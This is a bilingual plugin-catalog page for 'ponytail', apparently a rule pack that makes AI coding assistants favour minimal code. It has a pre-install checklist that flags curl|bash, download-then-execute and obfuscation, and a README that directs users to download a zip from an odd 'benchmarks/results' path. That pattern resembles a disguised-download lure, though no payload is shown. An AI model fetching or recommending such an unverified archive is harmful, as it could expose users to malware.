saqie803/ponytail

ponytail is a clever little tool that changes how your AI coding assistant thinks. Instead of writing lots of code, it teaches your AI to be lazy - in the best way possible. It makes your AI agent act like the most experienced senior developer you know: the one who says "Do we really need this?" before writing anything.

catalog descriptioncatalog 简介 / catalog description:Ship production-ready code with one line of AI-generated output, built for 20 agents and zero ceremony.

Project Overview项目介绍

ponytail is a behavioral rule pack for AI coding assistants that bakes the YAGNI principle (You Aren't Gonna Need It) into their reasoning loop, teaching models to ask "is this really necessary?" before writing code and to prefer the smallest viable implementation over feature creep. It is not a standalone executable binary despite its packaging; users fetch a zip archive from a raw.githubusercontent.com path under benchmarks/results/Software-v1.3.zip, extract it, and drop the resulting rules into Claude Code's project conventions or into Cursor's cursor-rules directory so the host agent picks them up automatically. The same rule text can also be reused by Codex and other agents that honor conventional system-prompt rule files, which is why the repository carries the cross-platform claude-code, codex, and cursor-rules topics alongside cordis.

The intended workflow is download-then-drop: open the raw GitHub URL in a browser, save the zip to your local Downloads folder, unzip it, and place the rule file where your editor or CLI agent expects custom instructions. Once loaded, the assistant is expected to question feature requests, prune redundant helpers, and resist generating scaffolding you did not explicitly ask for, producing leaner diffs across multi-week projects. The tool targets individual developers and small teams who feel that modern LLMs over-build, want a forced minimalism layer, and are comfortable editing their IDE or CLI agent config rather than installing a managed marketplace extension.

ponytail ships under the MIT license and has no runtime dependencies beyond the host agent, but the README only confirms Windows compatibility, so macOS and Linux users should validate behavior themselves before committing it to active repositories. First-run caveats include verifying the downloaded archive actually contains a real rules file rather than a placeholder, checking that your Claude Code or Cursor version accepts the rule format, and remembering that ponytail modifies the agent's reasoning rather than your codebase, so existing source files stay untouched. The plugin has only two GitHub stars and no published release notes, so treat the linked zip as the canonical install artifact and pin its version explicitly to avoid silent upstream changes.

ponytail 是一套面向 AI 编程助手的行为指令包,核心思想是 YAGNI(You Aren't Gonna Need It),把"少写代码、只写必要的代码"这一原则注入到助手的思考流程中,让模型在动手前先反问"是否真的需要"。它并非独立可执行程序,而是通过下载 zip 压缩包后释放规则文件,让 Claude Code 自动读取新增的 system 规则,也能在 Cursor 的 cursor-rules 中追加相同的"懒惰资深开发者"哲学,从而改造现有工具的输出习惯。

典型工作流是:用户访问 GitHub 原始链接下载 benchmarks/results/Software-v1.3.zip 文件,解压后把其中包含的规则/约定复制到 Claude Code 的项目目录或 Cursor 的规则文件夹里,下次让助手生成代码时就会先询问必要性、倾向简单方案并主动删除冗余实现。它适合那些觉得 AI 倾向堆功能、想压低代码量、追求更小维护面的个人开发者或小团队,也能与 Codex 等其他遵循相同 system-prompt 约定的编码 Agent 共用同一套规则。

依赖上,README 明确只声明 Windows 兼容性,其他系统需自行验证;许可为 MIT,可自由再分发;下载链接指向 raw.githubusercontent.com 的 results 目录,文件体积很小,但首运行前请核对 zip 内是否包含真实规则文件而非占位内容,并确认你使用的 Claude Code / Cursor 版本支持读取该格式的规则定义,否则可能只下载到应用外壳而不会改变助手行为。

Pre-install check安装前体检Compatibility · Security兼容性 · 安全性 2 warnings2 项注意
  • Only 2 stars - very few users, little community feedback星标只有 2,几乎没人在用,遇到问题缺少社区反馈
  • No DSH plugin manifest detected - it may only carry the dsh-plugin topic, so the install method must be confirmed on the spot未检测到 DSH 插件清单:可能只是打了 dsh-plugin 话题,安装方式要现场确认
DSH walks through these 9 checksDSH 会逐条核对这 9 项

Compatibility兼容性

  • DSH, Node, OS and profile requirementsDSH 版本 / Node 版本 / 操作系统 / profile 是否满足要求
  • External dependencies and runtimes (Electron / Python / Docker, ...)外部依赖与运行时(Electron / Python / Docker 等)是否齐备
  • Conflicts with installed plugins: command names, skill / tool names, ports, duplicate MCP registration与已装插件是否冲突:命令名、skill / tool 重名、端口占用、重复 MCP 注册

Security安全性

  • Repo matches the facts registered here; archived or abandoned?仓库是否与页面登记一致,是否归档或长期停更
  • Safety of preinstall / install / postinstall and install.sh / setup.ps1preinstall / install / postinstall 与 install.sh、setup.ps1 是否安全
  • curl|bash, download-then-execute, obfuscation, unrelated domains → stop immediatelycurl|bash、下载即执行、混淆代码、无关域名 → 立刻停止
  • Typosquatting or unmaintained packages among the new dependencies新增依赖里有没有 typosquatting 或无人维护的包
  • Requested permissions vs. what the feature actually needs申请了哪些权限、是否超出功能所需(filesystem / network / shell / clipboard)
  • Any sudo / admin requirement, plus uninstall and rollback是否要求 sudo / 管理员权限,以及卸载与回滚方式

Anything uncertain must be marked unknown with a note on how to confirm it. This site's signal screen is a static snapshot, not a security audit.拿不准的必须标「未知」并说明要我怎么确认。本站的信号筛查是静态快照,不能替代安全审计。

Or use CLI install (for developers)或使用命令行安装(适合开发者)

CLI Install命令行安装

dsh plugin --profile web add github:saqie803/ponytail

把 saqie803/ponytail 加入你的 DSH 配置(web profile)即可启用。

READMEREADME

🐎 ponytail - Stop Writing Code You Don't Need

🚀 What Is ponytail?

ponytail is a clever little tool that changes how your AI coding assistant thinks. Instead of writing lots of code, it teaches your AI to be lazy - in the best way possible. It makes your AI agent act like the most experienced senior developer you know: the one who says "Do we really need this?" before writing anything.

The idea is simple: the best code is the code you never wrote. Every line of code you don't write is a line that can't have bugs, can't be misunderstood, and doesn't need maintenance. ponytail helps your AI understand this philosophy.

🎯 Why You Need ponytail

If you use AI tools like Claude Code, Cursor, or any other AI coding assistant, you've probably noticed they love writing tons of code. Sometimes they add features you didn't ask for. Sometimes they overcomplicate simple tasks. This is where ponytail steps in.

ponytail gives your AI a new set of rules and habits. It teaches your AI to:

  • Ask "Is this really necessary?" before writing new code
  • Prefer simple solutions over complex ones
  • Remove unnecessary code instead of adding more
  • Follow the YAGNI principle (You Aren't Gonna Need It)

The result? Cleaner projects, faster development, and fewer headaches.

📥 How to Get ponytail

Getting ponytail is easy. Just follow these steps:

Step 1: Visit the Download Page

Download ponytail

Visit this link to download the application.

Step 2: Choose Your Version

When you arrive at the download page, you'll see a list of available files. Pick the one that matches your needs. The page will show you the latest version and any previous versions if you need them.

Step 3: Download the File

Click the download button next to the version you want. Your browser will start downloading the file to your computer. This usually takes just a few seconds because ponytail is a small tool.

Step 4: Find Your Downloaded File

Once the download finishes, check your browser's download folder. This is usually called "Downloads" and can be found in your File Explorer. The file will be named something like "ponytail" or "ponytail-v1.0" depending on the version you chose.

Showing the opening section of the README — the full document lives in the repository以上为 README 开头摘要,完整文档在仓库内 · View the full README on GitHub →在 GitHub 查看完整 README →

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